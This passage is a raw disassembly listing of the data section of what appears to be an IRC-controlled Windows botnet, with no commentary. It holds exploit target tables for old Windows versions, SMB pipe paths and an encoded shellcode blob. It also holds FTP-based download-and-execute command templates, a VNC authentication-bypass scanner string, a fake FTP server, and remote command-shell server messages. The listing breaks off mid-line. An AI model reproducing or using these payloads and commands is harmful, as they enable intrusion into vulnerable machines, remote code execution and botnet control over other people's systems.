0BC2C5ACEh, 3B8149E0h dd 6BB94FEAh, 3B864FEAh, 0C7BBCE44h, 391D1B62h, 95B9C844h dd 0BA2C2944h, 0E92F4930h, 0BC2C7A7Fh, 203E1E9h, 0A33D054h dd 9505E1E8h, 6AD31E6Bh, 0 dword_44A0E0 dd 0EFFFC481h, 44FFFFh ; DATA XREF: sub_40E3FF+29Ao dd offset aWindowsNt42000 ; "Windows NT4, 2000 (SP0-SP4)" dword_44A0EC dd 42Ah ; DATA XREF: sub_40E3FF+24Dr dword_44A0F0 dd 3E8h ; DATA XREF: sub_40E3FF+2BEr dword_44A0F4 dd 258h ; DATA XREF: sub_40E3FF+290r byte_44A0F8 db 1 ; DATA XREF: sub_40E3FF+1F9r ; sub_40E3FF+2C7r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_44A110 dd 20804h ; DATA XREF: sub_40E303r ; sub_40E3FF+2E5o ... aWindowsNt42000 db 'Windows NT4, 2000 (SP0-SP4)',0 ; DATA XREF: .data:0044A0E8o aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .data:0044A0FCo align 4 ; char a__6[] a__6 db '.',0 ; DATA XREF: sub_40E3FF+10o align 4 ; char aSIpc[] aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40E3FF+33o align 4 ; char aSPipeBrowser[] aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40E3FF+84o align 4 dword_44A16C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_40E3FF+F5o dword_44A180 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40E3FF+151o dword_44A194 dd 2EBh, 0 ; DATA XREF: sub_40E3FF+221o ; char aCmdCEchoOpen_0[] aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E907+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_44A210 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EB60+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 ; char aCmdCEchoOpen_1[] aCmdCEchoOpen_1 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40EA49+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 word_44B498 dw 1 ; DATA XREF: sub_40EC96+Ar align 4 ; char aRfb03d_03d[] aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: sub_40EC96+93o align 4 ; char aVncD_DSSAuthby[] aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: sub_40EC96+1FCo align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40EFAC+130o ; char aEchoOpenSDOEch[] aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' ; DATA XREF: sub_40F198+23Eo db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F43A+1C9o align 4 ; char aSS_3[] aSS_3 db '%s %s',0 ; DATA XREF: sub_40F43A+251o align 4 ; char aUser_1[] aUser_1 db 'USER',0 ; DATA XREF: sub_40F43A+262o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F43A+277o align 4 ; char aPass[] aPass db 'PASS',0 ; DATA XREF: sub_40F43A+287o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F43A+29Bo align 4 ; char aSyst[] aSyst db 'SYST',0 ; DATA XREF: sub_40F43A+2ABo align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F43A+2BFo align 4 ; char aRest[] aRest db 'REST',0 ; DATA XREF: sub_40F43A+2CFo align 4 a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F43A+2E3o align 4 ; char off_44B5D8[] off_44B5D8 dd offset off_445750 ; DATA XREF: sub_40F43A+2F3o a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F43A+307o align 4 ; char aType[] aType db 'TYPE',0 ; DATA XREF: sub_40F43A+317o align 4 ; char aA_0[] aA_0: ; DATA XREF: sub_40F43A+32Eo unicode 0, <A>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F43A+342o ; char aType_0[] aType_0 db 'TYPE',0 ; DATA XREF: sub_40F43A+352o align 4 ; char aI[] aI: ; DATA XREF: sub_40F43A+369o unicode 0, <I>,0 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F43A+37Do ; char aPasv[] aPasv db 'PASV',0 ; DATA XREF: sub_40F43A+38Do align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_40F43A+3A0o align 10h ; char aList_0[] aList_0 db 'LIST',0 ; DATA XREF: sub_40F43A+3DBo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F43A+3EEo align 10h ; char aPort[] aPort db 'PORT',0 ; DATA XREF: sub_40F43A+41Co align 4 ; char aS_24[] aS_24 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F43A+455o db ']',0 ; char aXX[] aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F43A+499o align 4 ; char aS_S_S_S[] aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F43A+4CCo a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F43A+4DDo align 4 ; char aRetr[] aRetr db 'RETR',0 ; DATA XREF: sub_40F43A+4F2o align 4 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_40F43A+50Ao align 4 ; char aFtpTransferSta[] aFtpTransferSta db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40F43A+533o a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F43A+57Do ; char aFtpTransferCom[] aFtpTransferCom db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40F43A+58Fo align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_40F43A+5E0o align 10h ; char aQuit_1[] aQuit_1 db 'QUIT',0 ; DATA XREF: sub_40F43A+5EDo align 4 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F43A+601o ; char aRb[] aRb db 'rb',0 ; DATA XREF: sub_40FAEE+24o align 4 ; char aGet_0[] aGet_0 db 'GET ',0 ; DATA XREF: sub_40FB88+26Fo align 10h ; char asc_44B7D0[] asc_44B7D0: ; DATA XREF: sub_40FB88+292o unicode 0, < >,0 ; char asc_44B7D4[] asc_44B7D4: ; DATA XREF: sub_40FB88+297o unicode 0, < >,0 ; char aGet_1[] aGet_1 db 'GET ',0 ; DATA XREF: sub_40FB88+2A2o align 10h ; char asc_44B7E0[] asc_44B7E0 db 0Dh,0Ah,0 ; DATA XREF: sub_40FB88+2D5o align 4 ; char asc_44B7E4[] asc_44B7E4 db '-' ; DATA XREF: sub_40FB88+3FEo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 aTextHtml db 'text/html',0 ; DATA XREF: sub_40FFE9+5Fo align 4 ; char aApplicationOct[] aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FFE9:loc_41004Fo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FFE9+84o align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FFE9+98o align 4 ; char aHttp1_0200OkSe[] aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FFE9+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h ; char aHttp1_0200Ok_0[] aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FFE9+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aS_25 db '\%s',0 ; DATA XREF: sub_41016C+2Fo ; char aS_26[] aS_26 db '%s',0 ; DATA XREF: sub_41016C+3Ao align 4 ; char aSS_4[] aSS_4 db '%s%s',0 ; DATA XREF: sub_41016C+EAo align 10h ; char asc_44BA30[] asc_44BA30: ; DATA XREF: sub_41016C+FBo dw 0Ah unicode 0, <>,0 ; char asc_44BA34[] asc_44BA34: ; DATA XREF: sub_41016C+15Ao unicode 0, <*>,0 ; char asc_44BA38[] asc_44BA38 db '-' ; DATA XREF: sub_41016C+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 ; char asc_44BA6C[] asc_44BA6C db '-' ; DATA XREF: sub_41016C+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_39 db ' failed to start worker thread, error %d',0 align 4 ; char asc_44BAA4[] asc_44BAA4 db 0Ah,0 ; DATA XREF: sub_410423+29o align 4 ; char aPrivmsgSSearch[] aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410423+4Bo ; char aHtmlHeadTitleI[] aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_410423+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 ; char aH1IndexOfSH1Ta[] aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_410423+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 ; char aTrTdWidthDCode[] aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_410423+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h ; char aTrTdColspan3Hr[] aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_410423+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 ; char aSearchingForS[] aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410423+149o ; char aTrTdColspan3AH[] aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_410423+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 ; char a__[] a__ db '..',0 ; DATA XREF: sub_410423+237o align 4 ; char a__2[] a__2: ; DATA XREF: sub_410423+252o unicode 0, <.>,0 aPm_0 db 'PM',0 ; DATA XREF: sub_410423+28Ao align 10h aAm db 'AM',0 ; DATA XREF: sub_410423+295o align 4 ; char a2_2d2_2d4d2_2d[] a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_410423+2BFo ; char aS_27[] aS_27 db '<%s>',0 ; DATA XREF: sub_410423+2E9o align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_410423+310o align 4 ; char aTrTdWidthDAHre[] aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_410423+328o db '<TD WIDTH="%d"><A HREF="',0 align 4 ; char aSS_5[] aSS_5 db '%s%s/',0 ; DATA XREF: sub_410423+36Co align 10h aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_410423+3B3o align 10h ; char aCodeSCodeA[] aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_410423:loc_4107DDo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_410423+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h ; char aS_28[] aS_28 db '<%s>',0 ; DATA XREF: sub_410423+40Bo align 4 ; char a31s21s[] a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_410423+42Fo align 4 ; char aPrivmsgS31s2_0[] aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_410423+46Eo align 10h ; char aTrTdWidthDAH_0[] aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_410423+496o db '<TD WIDTH="%d"><A HREF="',0 align 10h ; char aSS_6[] aSS_6 db '%s%s',0 ; DATA XREF: sub_410423+4DAo align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_410423+521o align 4 ; char aCodeSCodeA_0[] aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_410423:loc_41094Bo align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_410423+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 ; char a31s21sIBytes[] a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_410423+58Do align 4 ; char aPrivmsgSFoundS[] aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_410423+61Co align 4 ; char aTrTdColspan3_0[] aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_410423+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 ; char aFoundIFilesAnd[] aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_410423+652o align 4 ; char aSSHttp1_1Refer[] aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410B94+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 ; char asc_44BF7C[] asc_44BF7C db '-' ; DATA XREF: sub_410CB5+BBo db 3, 34h, 2 dd 6E656469h, 3026474h aClientConnecti db '- client connection from %s:%d.',0 ; char aUseridUnixS[] aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410CB5+116o ; char asc_44BFC0[] asc_44BFC0 db '-' ; DATA XREF: sub_410CB5+171o db 3, 34h, 2 dd 6E656469h, 3026474h aServerFailed_0 db '- server failed, returned %d',0 align 4 ; char asc_44BFEC[] asc_44BFEC db '-' ; DATA XREF: sub_410E63+E9o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 ; char asc_44C034[] asc_44C034 db '-' ; DATA XREF: sub_410E63+15Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_40 db 'Failed to start client thread, error: <%d>.',0 ; char asc_44C070[] asc_44C070 db '-' ; DATA XREF: sub_410FF4+E1o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 ; char asc_44C0B4[] asc_44C0B4 db '-' ; DATA XREF: sub_410FF4+1AAo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_41 db 'Failed to start connection thread, error: <%d>.',0 ; char asc_44C0F4[] asc_44C0F4 db '-' ; DATA XREF: sub_411278+E1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 10h aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_411278+172o align 4 ; char asc_44C134[] asc_44C134 db '-' ; DATA XREF: sub_411278+1A2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 ; char asc_44C15C[] asc_44C15C db '-' ; DATA XREF: sub_411278+1C2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 ; char asc_44C188[] asc_44C188 db '-' ; DATA XREF: sub_411278+1E9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 ; char asc_44C1B4[] asc_44C1B4 db '-' ; DATA XREF: sub_41147D:loc_4114C2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 10h ; char dword_44C1E0[] dword_44C1E0 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_4114D7+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0 align 10h ; char asc_44C250[] asc_44C250 db '-' ; DATA XREF: sub_411506+3Do db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 ; char asc_44C27C[] asc_44C27C db '-' ; DATA XREF: sub_411506+70o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0 align 10h unk_44C2C0 db 2Dh ; - ; DATA XREF: sub_411506+106o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aReadyAndWaitin db '- Ready and waiting for incoming connections.',0 align 4 ; char asc_44C2FC[] asc_44C2FC db '-' ; DATA XREF: sub_411506+177o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 ; char asc_44C340[] asc_44C340 db '-' ; DATA XREF: sub_411506+1FBo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_42 db '- Failed to start client thread, error: <%d>.',0 align 4 ; char asc_44C37C[] asc_44C37C db '-' ; DATA XREF: sub_411506+219o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorServerFai db '- Error: server failed, returned: <%d>.',0 align 4 ; char asc_44C3B4[] asc_44C3B4 db '-' ; DATA XREF: sub_41178E+59o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 ; char asc_44C3FC[] asc_44C3FC db '-' ; DATA XREF: sub_41178E+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 ; char asc_44C444[] asc_44C444 db '-' ; DATA XREF: sub_41178E+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_44C478 db 2Dh ; - ; DATA XREF: sub_4118DF+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 ; char asc_44C4B8[] asc_44C4B8 db '-' ; DATA XREF: sub_4118DF+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_2 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_44C4F8 db 2Dh ; - ; DATA XREF: sub_4118DF+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_4119D8+8Co align 4 ; char asc_44C528[] asc_44C528 db '-' ; DATA XREF: sub_4119D8+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 10h ; char asc_44C560[] asc_44C560 db '-' ; DATA XREF: sub_411AB1+A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0 ; char asc_44C59C[] asc_44C59C db '-' ; DATA XREF: sub_411C86+A8o db 3, 34h, 2 dd 6B636F73h, 3023473h aServerStarte_5 db '- Server started on: %s:%d.',0 ; char asc_44C5C4[] asc_44C5C4 db '-' ; DATA XREF: sub_411C86+114o db 3, 34h, 2 dd 6B636F73h, 3023473h aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 4 ; char asc_44C608[] asc_44C608 db '-' ; DATA XREF: sub_411C86+18Fo db 3, 34h, 2 dd 6B636F73h, 3023473h aFailedToSta_43 db '- Failed to start client thread, error: <%d>.',0 align 4 ; char asc_44C644[] asc_44C644 db '-' ; DATA XREF: sub_411C86+1B2o db 3, 34h, 2 dd 6B636F73h, 3023473h aFailedToSta_44 db '- Failed to start server on Port %d.',0 align 4 ; char dword_44C678[] dword_44C678 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411E8B+F2o aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 4 ; char dword_44C6B8[] dword_44C6B8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411E8B+18Ao aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 4 ; char dword_44C6F8[] dword_44C6F8 dd 234032Dh, 6B636F73h, 3023473h ; DATA 